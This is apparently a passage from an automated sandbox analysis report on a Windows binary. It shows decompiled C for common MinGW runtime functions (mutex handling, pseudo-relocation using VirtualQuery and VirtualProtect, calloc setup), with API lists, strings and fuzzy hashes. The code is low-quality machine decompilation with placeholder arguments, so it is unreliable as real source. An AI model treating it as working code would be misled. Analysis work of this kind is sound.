								_t23 = E0042CC10(__eflags);
								 *0x5007ec = _t23;
								L4:
								 *_t32 =  *_t23;
								_t19 = E004382B0(_t27);
								goto L5;
							} else {
								abort();
								goto L9;
							}
						}
						_t23 =  *0x5007ec; // 0xb904a0
						if(_t23 == 0) {
							goto L13;
						}
						goto L4;
					}
					L15:
					E0042B9E0();
					goto L16;
				}
				_t16 =  *_t13;
				if(_t16 < 0) {
					goto L15;
				}
				goto L2;
			}

0x0042c522
0x0042c525
0x0042c52a
0x0042c530
0x0042c5bb
0x0042c5c3
0x0042c5cb
0x0042c5d2
0x0042c5d7
0x0042c5da
0x0042c5df
0x0042c5e6
0x0042c5e6
0x0042c5eb
0x0042c5ed
0x0042c5ef
0x0042c5f7
0x0042c5ff
0x0042c606
0x0042c60b
0x0042c60b
0x0042c610
0x0042c540
0x0042c542
0x0042c579
0x0042c579
0x0042c580
0x0042c617
0x0042c61f
0x0042c627
0x0042c62e
0x0042c633
0x0042c638
0x0042c586
0x0042c586
0x0042c586
0x0042c557
0x0042c557
0x0042c55e
0x0042c562
0x0042c568
0x0042c58a
0x0042c56a
0x0042c56a
0x0042c56a
0x0042c572
0x0042c593
0x0042c598
0x0042c598
0x0042c5a0
0x0042c5a8
0x0042c5af
0x0042c5b4
0x0042c54d
0x0042c54f
0x0042c552
0x00000000
0x0042c574
0x0042c574
0x00000000
0x0042c574
0x0042c572
0x0042c544
0x0042c54b
0x00000000
0x00000000
0x00000000
0x0042c54b
0x0042c5e1
0x0042c5e1
0x00000000
0x0042c5e1
0x0042c536
0x0042c53a
0x00000000
0x00000000
0x00000000

APIs

abort.MSVCRT ref: 0042C574

Strings

use_fc_key, xrefs: 0042C5CB, 0042C5FF
fc_static, xrefs: 0042C627
fc_key, xrefs: 0042C5A8

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: abort
String ID: fc_key$fc_static$use_fc_key
API String ID: 4206212132-2840716747
Opcode ID: a56f7af088029c1503d585d243efb1daf242a629d6f05d423dadd1f229dcafa0
Instruction ID: c3e54ca8eb8ef5b2fb2e58862e58249095b8c7d23d31e16215ad9e942f9b3b8b
Opcode Fuzzy Hash: a56f7af088029c1503d585d243efb1daf242a629d6f05d423dadd1f229dcafa0
Instruction Fuzzy Hash: E821D4B03052219ADB10EF26E48172E7BE4EB44788F90981EE5848B351D77CE885DBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0043BE30 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 0043BE47
InitializeCriticalSection.KERNEL32 ref: 0043BE58
SetCriticalSectionSpinCount.KERNEL32 ref: 0043BE6B

Strings

, xrefs: 0043BE38

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CriticalSection$CountInitializeSpincalloc
String ID:
API String ID: 1612259017-3916222277
Opcode ID: 61f0ea035d7994c11323c9b2c2d24568a1ea55af336413b7695b1c851f3f1624
Instruction ID: 3a341486998524d459d197d44c8350c218554f47d216dca70cf6ba02041b939f
Opcode Fuzzy Hash: 61f0ea035d7994c11323c9b2c2d24568a1ea55af336413b7695b1c851f3f1624
Instruction Fuzzy Hash: 0BF0A0B26083004AE3007F3CB9466ABBBE4EB84354F454A7EE8C487246D3788895C7D7

Uniqueness

Uniqueness Score: -1.00%

Function 0043C410 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 79
COMMON

Download Yara Rule

C-Code - Quality: 25%

			E0043C410(void** __eax) {
				intOrPtr _v32;
				intOrPtr _v56;
				void* _t15;
				void* _t17;
				intOrPtr _t19;
				intOrPtr _t23;
				void* _t26;
				void* _t27;
				void* _t28;
				void* _t30;
				void** _t31;
				void* _t32;
				void* _t33;
				void* _t34;
				void** _t35;

				_t31 = __eax;
				_t35 = _t34 - 0x2c;
				 *((intOrPtr*)(__eax)) = 0;
				_v56 = 0x20;
				 *_t35 = 1;
				_t15 = calloc(??, ??);
				if(_t15 == 0) {
					return 0xc;
				} else {
					_t2 = _t15 + 0x14; // 0x14
					_t30 = _t2;
					 *_t15 = 0xdeadb0ef;
					 *((intOrPtr*)(_t15 + 0x10)) = 0;
					 *((intOrPtr*)(_t15 + 0xc)) = 0;
					 *((intOrPtr*)(_t15 + 8)) = 0;
					_t26 = _t15;
					_v56 = 0;
					 *_t35 = _t30;
					_t17 = E00439FA0(_t27, _t28);
					_t32 = _t17;
					if(_t17 != 0) {
						 *_t35 = _t26;
						free(??);
						return _t32;
					} else {
						_t7 = _t26 + 0x18; // 0x18
						_t33 = _t7;
						_v56 = 0;
						 *_t35 = _t33;
						_t19 = E00439FA0(_t27, _t28);
						if(_t19 != 0) {
							_v32 = _t19;
							 *_t35 = _t30;
							goto L8;
						} else {
							_t9 = _t26 + 0x1c; // 0x1c
							_v56 = 0;
							 *_t35 = _t9;
							_t23 = E0043AF40();
							if(_t23 != 0) {
								 *_t35 = _t30;
								_v32 = _t23;
								E0043A740(_t27, __eflags);
								 *_t35 = _t33;
								L8:
								E0043A740(_t27, __eflags);
								 *_t35 = _t26;
								free(??);
								return _v32;
							} else {
								 *_t26 = 0xbab1f0ed;
								 *_t31 = _t26;
								return 0;
							}
						}
					}
				}
			}

0x0043c414
0x0043c416
0x0043c419
0x0043c41f
0x0043c427
0x0043c42e
0x0043c435
0x0043c4cf
0x0043c43b
0x0043c43b
0x0043c43b
0x0043c43e
0x0043c444
0x0043c44b
0x0043c452
0x0043c459
0x0043c45b
0x0043c463
0x0043c466
0x0043c46d
0x0043c46f
0x0043c4b1
0x0043c4b4
0x0043c4c2
0x0043c471
0x0043c471
0x0043c471
0x0043c474
0x0043c47c
0x0043c47f
0x0043c486
0x0043c4d0
0x0043c4d4
0x00000000
0x0043c488
0x0043c488
0x0043c48b
0x0043c493
0x0043c496
0x0043c49d
0x0043c4f2
0x0043c4f5
0x0043c4f9
0x0043c4fe
0x0043c4d7
0x0043c4d7
0x0043c4dc
0x0043c4df
0x0043c4f1
0x0043c49f
0x0043c49f
0x0043c4a5
0x0043c4b0
0x0043c4b0
0x0043c49d
0x0043c486
0x0043c46f

APIs

calloc.MSVCRT ref: 0043C42E
free.MSVCRT ref: 0043C4B4
free.MSVCRT ref: 0043C4DF

Strings

, xrefs: 0043C41F

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: free$calloc
String ID:
API String ID: 3095843317-3916222277
Opcode ID: 9d49e0e25256c0cdf1d0b7f0e359b083908d7e673c75fd90129bdb1a3645acd5
Instruction ID: 6ed584d97483dc5471c8ebf37d34033bd514768df12a83c7c172324f7564abe3
Opcode Fuzzy Hash: 9d49e0e25256c0cdf1d0b7f0e359b083908d7e673c75fd90129bdb1a3645acd5
Instruction Fuzzy Hash: E52112B11043048FD710AF66E4D576BBBE4EF88328F05586EE5888B342E37E8855CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00439EB0 Relevance: 6.1, APIs: 4, Instructions: 71
threadCOMMON

Download Yara Rule

C-Code - Quality: 19%

			E00439EB0(void* __ecx, void* __edx, intOrPtr _a4) {
				void* _v20;
				void* _v24;
				intOrPtr _v28;
				char* _v32;
				char* _v36;
				char* _v40;
				void* __ebx;
				void* __edi;
				void** __esi;
				intOrPtr* _t26;
				char* _t27;
				char* _t30;
				intOrPtr* _t32;
				char* _t35;
				char* _t36;
				intOrPtr* _t45;
				void* _t49;
				intOrPtr _t53;
				void* _t55;
				void* _t58;
				void* _t59;
				char** _t61;

				_t49 = __edx;
				_t59 = _t58 - 0x10;
				_t53 = _a4;
				_t26 = E00439A10(_t53, __ecx, __edx);
				if(_t26 != 0) {
					return _t26;
				} else {
					__ebx =  *__esi;
					__edx =  *(__ebx + 8);
					__eflags =  *(__ebx + 8);
					if( *(__ebx + 8) != 0) {
						__edi =  *(__ebx + 0x14);
						__eflags = __edi;
						if(__eflags == 0) {
							__eax = __ebx;
							goto L21;
						} else {
							__eflags = __edi - GetCurrentThreadId();
							if(__eflags == 0) {
								__eflags =  *(__ebx + 8) - 2;
								if( *(__ebx + 8) != 2) {
									goto L13;
								} else {
									_t24 = __ebx + 0xc; // 0xc
									__eax = _t24;
									__eax = InterlockedDecrement(_t24);
									__esp = __esp - 4;
									__eflags = __eax;
									if(__eflags == 0) {
										goto L13;
									} else {
										__edx = 0;
									}
								}
								goto L16;
							} else {
								__eax =  *__esi;
								L21:
								__esp = __esp + 0x10;
								__edx = 1;
								_pop(__ebx);
								_pop(__esi);
								_pop(__edi);
							}
						}
					} else {
						__eax =  *(__ebx + 0x14);
						__eflags =  *(__ebx + 0x14);
						if(__eflags == 0) {
							__edx = 1;
							__eax = __ebx;
						} else {
							L13:
							__eax =  *(__ebx + 0x18);
							 *(__ebx + 0x14) = 0;
							__eflags = __eax;
							if(__eax == 0) {
								L15:
								__edx = 0;
								__eflags = 0;
							} else {
								__eax = ReleaseSemaphore(__eax, 1, 0);
								__esp = __esp - 0xc;
								__eflags = __eax;
								if(__eflags == 0) {
									__eax = GetCurrentThreadId();
									__edx = 1;
									 *(__ebx + 0x14) = __eax;
								} else {
									goto L15;
								}
							}
							L16:
							__eax =  *__esi;
						}
						__esp = __esp + 0x10;
						_pop(__ebx);
						_pop(__esi);
						_pop(__edi);
					}
					_push(_t53);
					_push(_t43);
					_t45 = _t26;
					_t55 = _t49;
					_t61 = _t59 - 0x24;
					_t27 =  *0x5011f8;
					if(_t27 == 0) {
						_v36 = 0x439d00;
						_v40 = 4;
						 *_t61 = "mutex_global_shmem";
						_t27 = E0043BBA0(__eflags);
						 *0x5011f8 = _t27;
					}
					 *_t61 = _t27;
					E0043BFB0();
					if( *_t45 != 0xbab1f00d ||  *((intOrPtr*)(_t45 + 4)) <= 0) {
						_v28 = 0x37;
						_v32 = "C:/crossdev/src/winpthreads-git20150508/src/mutex.c";
						_v36 = "(m_->valid == LIFE_MUTEX) && (m_->busy > 0)";
						_v40 = "Assertion failed: (%s), file %s, line %d\n";
						_t30 = __imp___iob + 0x40;
						__eflags = _t30;
						 *_t61 = _t30;
						fprintf(??, ??);
						 *_t61 = 1;
						exit(??);
						_t32 = _v40;
						 *_t32 = 0xffffffff;
						return _t32;
					} else {
						if( *((intOrPtr*)(_t45 + 4)) > 0) {
							 *((intOrPtr*)(_t45 + 4)) =  *((intOrPtr*)(_t45 + 4)) - 1;
						}
						_t35 =  *0x5011f8;
						if(_t35 == 0) {
							_v36 = 0x439d00;
							_v40 = 4;
							 *_t61 = "mutex_global_shmem";
							_t36 = E0043BBA0(__eflags);
							 *_t61 = _t36;
							 *0x5011f8 = _t36;
							E0043C060();
							return _t55;
						} else {
							 *_t61 = _t35;
							E0043C060();
							return _t55;
						}
					}
				}
			}

0x00439eb0
0x00439eb3
0x00439eb6
0x00439ebc
0x00439ec3
0x00439f46
0x00439ec5
0x00439ec5
0x00439ec7
0x00439eca
0x00439ecc
0x00439f15
0x00439f18
0x00439f1a
0x00439f50
0x00000000
0x00439f1c
0x00439f21
0x00439f23
0x00439f63
0x00439f67
0x00000000
0x00439f6d
0x00439f6d
0x00439f6d
0x00439f73
0x00439f78
0x00439f7b
0x00439f7d
0x00000000
0x00439f83
0x00439f83
0x00439f83
0x00439f7d
0x00000000
0x00439f25
0x00439f25
0x00439f27
0x00439f27
0x00439f2a
0x00439f2f
0x00439f30
0x00439f31
0x00439f31
0x00439f23
0x00439ece
0x00439ece
0x00439ed1
0x00439ed3
0x00439f90
0x00439f95
0x00439ed9
0x00439ed9
0x00439ed9
0x00439edc
0x00439ee3
0x00439ee5
0x00439f06
0x00439f06
0x00439f06
0x00439ee7
0x00439efa
0x00439eff
0x00439f02
0x00439f04
0x00439f54
0x00439f59
0x00439f5e
0x00000000
0x00000000
0x00000000
0x00439f04
0x00439f08
0x00439f08
0x00439f08
0x00439f0a
0x00439f0d
0x00439f0e
0x00439f0f
0x00439f0f
0x00439c00
0x00439c01
0x00439c02
0x00439c04
0x00439c06
0x00439c09
0x00439c10
0x00439c91
0x00439c99
0x00439ca1
0x00439ca8
0x00439cad
0x00439cad
0x00439c12
0x00439c15
0x00439c20
0x00439cbc
0x00439cc4
0x00439ccc
0x00439cd4
0x00439cdc
0x00439cdc
0x00439cdf
0x00439ce2
0x00439ce7
0x00439cee
0x00439d00
0x00439d04
0x00439d0a
0x00439c31
0x00439c36
0x00439c3e
0x00439c3e
0x00439c41
0x00439c48
0x00439c60
0x00439c68
0x00439c70
0x00439c77
0x00439c7c
0x00439c7f
0x00439c84
0x00439c90
0x00439c4a
0x00439c4a
0x00439c4d
0x00439c59
0x00439c59
0x00439c48
0x00439c20

APIs

ReleaseSemaphore.KERNEL32 ref: 00439EFA
GetCurrentThreadId.KERNEL32 ref: 00439F1C
GetCurrentThreadId.KERNEL32 ref: 00439F54

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: CurrentThread$ReleaseSemaphore
String ID:
API String ID: 1483290962-0
Opcode ID: 39c59e246521a09a5736d3619143fa4c464643fb08811b0f8d16e075040d056c
Instruction ID: 5c3f1898a17541d2d3271e4883119fc6851a5dfae6492a7babe4c092ce19fd7f
Opcode Fuzzy Hash: 39c59e246521a09a5736d3619143fa4c464643fb08811b0f8d16e075040d056c
Instruction Fuzzy Hash: 9611E431B042018BEB10EE29E4C0357B7E4EF88348F28556BEC44CB34AE6B9DC55C79A

Uniqueness

Uniqueness Score: -1.00%

Function 0042B2E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0042B2E0(char* __eax, intOrPtr __ebx, char* __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr __ebp) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v36;
				intOrPtr _v44;
				char* _v56;
				void* _v60;
				char _v61;
				char _v62;
				intOrPtr _v80;
				char* _v84;
				char** _v88;
				char* _v96;
				intOrPtr _v100;
				char* _v104;
				char _v108;
				char _v112;
				signed int _v132;
				long _t72;
				signed int _t74;
				signed int* _t78;
				signed int _t79;
				signed int* _t81;
				signed char* _t82;
				intOrPtr _t83;
				void* _t84;
				intOrPtr _t88;
				char* _t93;
				intOrPtr* _t94;
				signed int _t96;
				intOrPtr _t98;
				char* _t102;
				intOrPtr _t108;
				char _t110;
				signed int _t114;
				signed int _t115;
				signed char _t121;
				char* _t128;
				intOrPtr _t134;
				signed short _t136;
				signed int _t137;
				char* _t141;
				void* _t142;
				intOrPtr* _t143;
				char** _t144;
				char** _t145;
				intOrPtr* _t147;
				void* _t149;

				_t139 = __ebp;
				_t107 = __edx;
				_t100 = __ecx;
				_t143 = _t142 - 0x5c;
				_v16 = __ebx;
				_t93 = __eax;
				_v84 = 0x1c;
				_v88 =  &_v56;
				 *_t143 = __eax;
				_v12 = __esi;
				_t134 = __edx;
				_v8 = __edi;
				_t128 = __ecx;
				_v4 = __ebp;
				_t72 = VirtualQuery(??, ??, ??);
				_t144 = _t143 - 0xc;
				if(_t72 == 0) {
					_v84 = _t93;
					_v88 = 0x1c;
					 *_t144 = "  VirtualQuery failed for %d bytes at address %p";
					E0042B280(_t100, _t107, _t128, _t134, __ebp);
					_t74 =  *0x5007b4; // 0x1
					if(_t74 == 0) {
						_t74 = 0;
						 *0x5007b4 = 1;
						if(0x4fca34 <= 7) {
							goto L10;
						} else {
							_t145 = _t144 - 0x2c;
							_v104 = _t93;
							_v100 = _t134;
							_v96 = _t128;
							if(0x4fca34 <= 0xb) {
								_t94 = 0x4fca34;
								goto L28;
							} else {
								_t134 =  *0x4fca34; // 0x0
								if(_t134 != 0) {
									L23:
									_t94 = 0x4fca34;
									goto L24;
								} else {
									_t98 =  *0x4fca38; // 0x0
									if(_t98 != 0) {
										goto L23;
									} else {
										_t100 =  *0x4fca3c; // 0x0
										_t94 = 0x4fca40;
										if(_t100 == 0) {
											L28:
											_t107 =  *_t94;
											if( *_t94 != 0) {
												L24:
												while(_t94 < 0x4fca34) {
													_t46 = _t94 + 4; // 0x0
													_t108 =  *_t46;
													_t47 = _t108 + 0x400000; // 0x400000
													_t48 = _t108 + 0x400000; // 0x905a4d
													_t110 =  *_t48 +  *_t94;
													_t94 = _t94 + 8;
													_v108 = _t110;
													_t74 = E0042B2E0(_t47, _t94, 4,  &_v108, _t128, _t134, _t139);
												}
												goto L26;
											} else {
												_t54 = _t94 + 4; // 0x0
												_t74 =  *_t54;
												if(_t74 == 0) {
													goto L17;
												} else {
													goto L24;
												}
											}
										} else {
											_t94 = 0x4fca34;
											L17:
											_t39 = _t94 + 8; // 0x0
											_t74 =  *_t39;
											if(_t74 != 1) {
												_v132 = _t74;
												 *_t145 = "  Unknown pseudo relocation protocol version %d.\n";
												E0042B280(_t100, _t107, _t128, _t134, _t139);
												0;
												0;
												_t78 =  *0x4ee148; // 0x4eab60
												_t79 =  *_t78;
												if(_t79 != 0) {
													_t149 = _t145 - 0xc;
													do {
														 *_t79();
														_t81 =  *0x4ee148; // 0x4eab60
														_t63 =  &(_t81[1]); // 0x4eab64
														_t64 =  &(_t81[1]); // 0x201ffff
														_t79 =  *_t64;
														 *0x4ee148 = _t63;
													} while (_t79 != 0);
													_t145 = _t149 + 0xc;
												}
												asm("repe ret");
												_push(_t94);
												_t147 = _t145 - 0x18;
												_t96 =  *0x4eab30; // 0xffffffff
												if(_t96 == 0xffffffff) {
													_t96 = 0;
													while(1) {
														_t67 = _t96 + 1; // 0x2
														_t79 = _t67;
														if(0x4eab30[_t79] == 0) {
															break;
														}
														_t96 = _t79;
													}
												}
												if(_t96 != 0) {
													do {
														_t79 = 0x4eab30[_t96]();
														_t96 = _t96 - 1;
													} while (_t96 != 0);
												}
												 *_t147 = 0x42b5d0;
												E004012C0();
												return _t79;
											} else {
												while(1) {
													_t94 = _t94 + 0xc;
													if(_t94 >= 0x4fca34) {
														break;
													}
													_t40 = _t94 + 8; // 0x64742820
													_t114 =  *_t40 & 0x000000ff;
													_t41 = _t94 + 4; // 0x3a434347
													_t134 =  *_t41;
													_t102 =  *_t94;
													_t42 = _t134 + 0x400000; // 0x3a834347
													_t82 = _t42;
													_t128 =  *(_t102 + 0x400000);
													if(_t114 == 0x10) {
														_t136 =  *(_t134 + 0x400000) & 0x0000ffff;
														_t115 = _t136 & 0x0000ffff;
														if(_t136 < 0) {
															_t115 = _t115 | 0xffff0000;
														}
														_v112 = _t115 - _t102 - 0x400000 + _t128;
														_t74 = E0042B2E0(_t82, _t94, 2,  &_v112, _t128, _t136, _t139);
														continue;
													} else {
														if(_t114 == 0x20) {
															_v112 = _t128 - _t102 + 0x400000 +  *_t82;
															_t74 = E0042B2E0(_t82, _t94, 4,  &_v112, _t128 - _t102 + 0x400000 +  *_t82, _t134, _t139);
															continue;
														} else {
															if(_t114 == 8) {
																_t121 =  *_t82 & 0x000000ff;
																_t137 = _t121 & 0x000000ff;
																if(_t121 < 0) {
																	_t137 = _t137 | 0xffffff00;
																}
																_v112 = _t137 - 0x400000 - _t102 + _t128;
																_t74 = E0042B2E0(_t82, _t94, 1,  &_v112, _t128, _t137, _t139);
																continue;
															} else {
																_v132 = _t114;
																 *_t145 = "  Unknown pseudo relocation bit size %d.\n";
																_v112 = 0;
																_t74 = E0042B280(_t102, _t114, _t128, _t134, _t139);
																goto L23;
															}
														}
													}
													break;
												}
												L26:
												return _t74;
											}
										}
									}
								}
							}
						}
					} else {
						L10:
						return _t74;
					}
				} else {
					_t83 = _v36;
					if(_t83 != 4) {
						if(_t83 == 0x40) {
							goto L2;
						} else {
							_t141 =  &_v60;
							_v80 = _t141;
							_v84 = 0x40;
							_v88 = _v44;
							 *_t144 = _v56;
							VirtualProtect(??, ??, ??, ??);
							_t144 = _t144 - 0x10;
							_t88 = _v36;
							_v84 = _t128;
							_v88 = _t134;
							 *_t144 = _t93;
							_v62 = _t88 != 0x40;
							_v61 = _t88 != 4;
							_t84 = memcpy(??, ??, ??);
							if(_v61 != 0 && _v62 != 0) {
								_v80 = _t141;
								_v84 = _v60;
								_v88 = _v44;
								 *_t144 = _v56;
								_t84 = VirtualProtect(??, ??, ??, ??);
								_t144 = _t144 - 0x10;
							}
						}
					} else {
						L2:
						_v84 = _t128;
						_v88 = _t134;
						 *_t144 = _t93;
						_t84 = memcpy(??, ??, ??);
					}
					return _t84;
				}
			}

0x0042b2e0
0x0042b2e0
0x0042b2e0
0x0042b2e0
0x0042b2e3
0x0042b2e7
0x0042b2ed
0x0042b2f5
0x0042b2f9
0x0042b2fc
0x0042b300
0x0042b302
0x0042b306
0x0042b308
0x0042b30c
0x0042b311
0x0042b316
0x0042b3d6
0x0042b3da
0x0042b3e2
0x0042b3e9
0x0042b3f0
0x0042b3f7
0x0042b405
0x0042b40d
0x0042b417
0x00000000
0x0042b419
0x0042b419
0x0042b41f
0x0042b423
0x0042b427
0x0042b42b
0x0042b510
0x00000000
0x0042b431
0x0042b431
0x0042b439
0x0042b4c4
0x0042b4c4
0x00000000
0x0042b43f
0x0042b43f
0x0042b447
0x00000000
0x0042b449
0x0042b449
0x0042b44f
0x0042b456
0x0042b515
0x0042b515
0x0042b519
0x0042b4c9
0x0042b4cf
0x0042b4d1
0x0042b4d1
0x0042b4d9
0x0042b4df
0x0042b4e5
0x0042b4e7
0x0042b4ea
0x0042b4f2
0x0042b4f7
0x00000000
0x0042b51b
0x0042b51b
0x0042b51b
0x0042b520
0x00000000
0x0042b526
0x00000000
0x0042b526
0x0042b520
0x0042b45c
0x0042b45c
0x0042b461
0x0042b461
0x0042b461
0x0042b467
0x0042b5b4
0x0042b5b8
0x0042b5bf
0x0042b5ca
0x0042b5ce
0x0042b5d0
0x0042b5d5
0x0042b5d9
0x0042b5db
0x0042b5e0
0x0042b5e0
0x0042b5e2
0x0042b5e7
0x0042b5ea
0x0042b5ea
0x0042b5ed
0x0042b5f3
0x0042b5f7
0x0042b5f7
0x0042b5fa
0x0042b600
0x0042b601
0x0042b604
0x0042b60d
0x0042b633
0x0042b639
0x0042b639
0x0042b639
0x0042b645
0x00000000
0x00000000
0x0042b637
0x0042b637
0x0042b647
0x0042b611
0x0042b613
0x0042b613
0x0042b61a
0x0042b61a
0x0042b613
0x0042b622
0x0042b629
0x0042b632
0x0042b46d
0x0042b46d
0x0042b46d
0x0042b476
0x00000000
0x00000000
0x0042b47c
0x0042b47c
0x0042b480
0x0042b480
0x0042b483
0x0042b488
0x0042b488
0x0042b48e
0x0042b494
0x0042b528
0x0042b532
0x0042b535
0x0042b537
0x0042b537
0x0042b54c
0x0042b554
0x00000000
0x0042b49a
0x0042b49d
0x0042b5a6
0x0042b5aa
0x00000000
0x0042b4a3
0x0042b4a6
0x0042b560
0x0042b565
0x0042b568
0x0042b56a
0x0042b56a
0x0042b581
0x0042b589
0x00000000
0x0042b4ac
0x0042b4ac
0x0042b4b0
0x0042b4b7
0x0042b4bf
0x00000000
0x0042b4bf
0x0042b4a6
0x0042b49d
0x00000000
0x0042b494
0x0042b4ff
0x0042b50e
0x0042b50e
0x0042b467
0x0042b456
0x0042b447
0x0042b439
0x0042b42b
0x0042b3f9
0x0042b3f9
0x0042b3f9
0x0042b3f9
0x0042b31c
0x0042b31c
0x0042b323
0x0042b353
0x00000000
0x0042b355
0x0042b359
0x0042b35d
0x0042b361
0x0042b369
0x0042b371
0x0042b374
0x0042b379
0x0042b37c
0x0042b380
0x0042b384
0x0042b388
0x0042b38e
0x0042b396
0x0042b39b
0x0042b3a5
0x0042b3b2
0x0042b3b6
0x0042b3be
0x0042b3c6
0x0042b3c9
0x0042b3ce
0x0042b3ce
0x0042b3a5
0x0042b325
0x0042b325
0x0042b325
0x0042b329
0x0042b32d
0x0042b330
0x0042b330
0x0042b348
0x0042b348

APIs

VirtualQuery.KERNEL32 ref: 0042B30C
memcpy.MSVCRT ref: 0042B330
VirtualProtect.KERNEL32 ref: 0042B374
memcpy.MSVCRT ref: 0042B39B
VirtualProtect.KERNEL32 ref: 0042B3C9

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 0042B3E2

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.00000000004FF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569635128.0000000000502000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.0000000000506000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569650610.00000000007FF000.00000008.00000001.01000000.00000003.sdmpDownload File

Similarity

API ID: Virtual$Protectmemcpy$Query
String ID: VirtualQuery failed for %d bytes at address %p
API String ID: 228986436-2206166143
Opcode ID: 91a4c394fedae3fb419980858da680f69efd7319b981b8349d268330f5019ab5
Instruction ID: 00a6030aa549dd86dd144b5cd7b2cb66d90ec2d1356356b3509aef34224861d9
Opcode Fuzzy Hash: 91a4c394fedae3fb419980858da680f69efd7319b981b8349d268330f5019ab5
Instruction Fuzzy Hash: FA01A2B0A083549BD300EF59D18021FFBE4FF88744F95892EF99893312D7B9D8448B86

Uniqueness

Uniqueness Score: -1.00%

Function 0043B4E0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0043B52A
LeaveCriticalSection.KERNEL32 ref: 0043B553

Memory Dump Source

Source File: 00000006.00000002.569466866.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.569459495.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569612083.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.569618790.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
